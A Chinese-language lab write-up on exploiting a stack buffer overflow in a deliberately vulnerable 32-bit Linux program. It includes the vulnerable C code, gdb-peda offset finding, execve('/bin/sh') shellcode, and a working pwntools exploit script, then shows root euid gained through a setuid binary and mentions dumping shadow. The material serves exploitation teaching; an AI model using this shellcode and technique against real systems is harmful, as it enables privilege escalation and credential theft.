Skip to content

Latest commit

 

History

History
177 lines (144 loc) · 7.07 KB

linux-x86-rop.md

File metadata and controls

177 lines (144 loc) · 7.07 KB

0x00 beginning

记录一下学习没有安全防护机制的 rop, 实验部分来自 wooyun1, 理论部分来 SEED2. 需要安装 peda 和 pwn(python 库), 还要准备一个 32 位的 ubuntu 的环境.

0x01 demo

存在在缓冲区溢出的 C 代码.

/*
* gcc -fno-stack-protector -m32 -z execstack -o level1 stack.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

0x02 recce

pead 可以帮你生成用于测试缓冲区的填充数据.

gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
gdb-peda$ run
Starting program: /home/Sn0rt/workspace/exp_devel_doc/lab/level1 
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.22-16.fc23.i686
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x97 
EBX: 0x0 
ECX: 0xffffcef0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\377")
EDX: 0x100 
ESI: 0x1 
EDI: 0xf7fb4000 --> 0x1c8db0 
EBP: 0x41514141 ('AAQA')
ESP: 0xffffcf80 ("RAAoAA\n\377")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xffffcf80 ("RAAoAA\n\377")
0004| 0xffffcf84 --> 0xff0a4141 
0008| 0xffffcf88 --> 0x0 
0012| 0xffffcf8c --> 0xf7e03545 (<__libc_start_main+245>:	add    esp,0x10)
0016| 0xffffcf90 --> 0x1 
0020| 0xffffcf94 --> 0xf7fb4000 --> 0x1c8db0 
0024| 0xffffcf98 --> 0x0 
0028| 0xffffcf9c --> 0xf7e03545 (<__libc_start_main+245>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern offset AmAA
AmAA found at offset: 140

0x03 shellcode

peda 可以帮你生成测试用的 shellcode, 这个 shellcode 看见参数可以猜测就是执行一个 shell 没有 setuid(0).

Sn0rt@warzone:~/lab$  gdb -q --batch -ex "shellcode generate x86/linux exec"
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
    )

也可以把 shelllcode 取出来, 放到环境变量里面, 虽然在这个 lab 里面没有用上, 但是 shellcode 放置在环境变量中也是个思路, 尤其是当 buffer 不够放置 shellcode 时候尤为合适.

Sn0rt@warzone:~/lab$ for i in $(cat up_filename.c|grep "^\"" | cut -d\" -f2); do echo -en $i; done

0x04 implementation

程序在 140 字节时候的字节覆盖了 eip, 那么可以把 shellcode 放到内存里面, 然后通过溢出 eip 来转跳到 shellcode 地址开始执行, 不过这个有点难度可以使用 nop 来布置一下内存, 让 eip 落到 nop 的地方, 在一堆 nop 之后放置 shellcode, 这样难度小一点, 这个具体要看实际情况, 我们的 shellcode 24 字节远远小于 140 字节的缓冲区大小, 那么缓冲区布局可以是

nop + shellcode + 'AAA..' + return

exp 整理, 把 peda 生成的 shellcode 复制进去.

#!/usr/bin/env python
from pwn import *
p = process('./level1') 
ret = 0xbfffffff
shellcode = "\x90" * 20
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
shellcode += "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive() 

exp 调整, 把 ret 地址换成缓冲区开始地址 (0xbffff5d0), 应为我在栈上布置了 20 字节的 nop, 所有 ret 等于开始地址 +20 以内就可以了.

Sn0rt@warzone:~/lab$ ls /tmp/
total 76
-rw------- 1 Sn0rt Sn0rt 221184 May 23 12:07 core.1464019622
Sn0rt@warzone:~/lab$ gdb level1 /tmp/core.1464019622 
Reading symbols from level1...(no debugging symbols found)...done.
[New LWP 2123]
Core was generated by `./level1'.
Program terminated with signal SIGILL, Illegal instruction.
#0  0xbffff65e in ?? ()
gdb-peda$ x/s $esp-144
0xbffff5d0:	"1\300Ph//shh/bin\211\343\061ɉ\312j\vX̀", 'A' <repeats 116 times>, "\020\366\377\277\304\323", <incomplete sequence \374\267>
gdb-peda$ quit
Sn0rt@warzone:~/lab$ vim exp.py 
Sn0rt@warzone:~/lab$ python exp.py 
[+] Starting program './level1': Done
[*] Switching to interactive mode
$ id
uid=1042(Sn0rt) gid=1043(Sn0rt) groups=1043(Sn0rt)

最基本的栈溢出完成.

0x05 thinking

sh 符号链接问题

在 SEED 文档里面提及, 关于替换 sh 符号链接提高安全性. 然后测试结果ln -s /bin/zsh /bin/sh使的 exp 变的失效, 和 SSED 参考手册里面不一致 (可能是 zsh 版本). ln -s /bin/bash /bin/sh or ln -s /bin/dash /bin/sh exp 能继续执行.

Sn0rt@warzone:~/lab$ zsh --version
zsh 5.0.2 (i686-pc-linux-gnu)
Sn0rt@warzone:~/lab$ bash --version
GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu)

euid 权限问题

Sn0rt@warzone:~/lab$ sudo chown root:root level1
Sn0rt@warzone:~/lab$ sudo chmod u+s  level1
Sn0rt@warzone:~/lab$ python exp_level1.py 
[+] Starting program './level1': Done
[*] Switching to interactive mode
$ id
uid=1042(Sn0rt) gid=1043(Sn0rt) euid=0(root) groups=0(root),1043(Sn0rt)
$ passwd root
passwd: You may not view or modify password information for root.

uid 不是 root,euid() 是 root, 虽然不能修改 root 密码, 但是 dump shadow 不是问题, 这个现象应该就是 SEED 里面说的 (虽然 zsh 高版本好像显的更安全).

Moreover, to further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool”a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell program (the zsh), instead of /bin/bash.

不过把 uid 变成 0 也可以的, 因为 bash 起码 root 能用, 可以让 shellcode 执行setuid(0)把 setuid root 的进程变成真正的 root 进程, 然后execve("/bin//sh", ["/bin//sh", NULL], [NULL]).

reference

Footnotes

  1. wooyun drops

  2. seed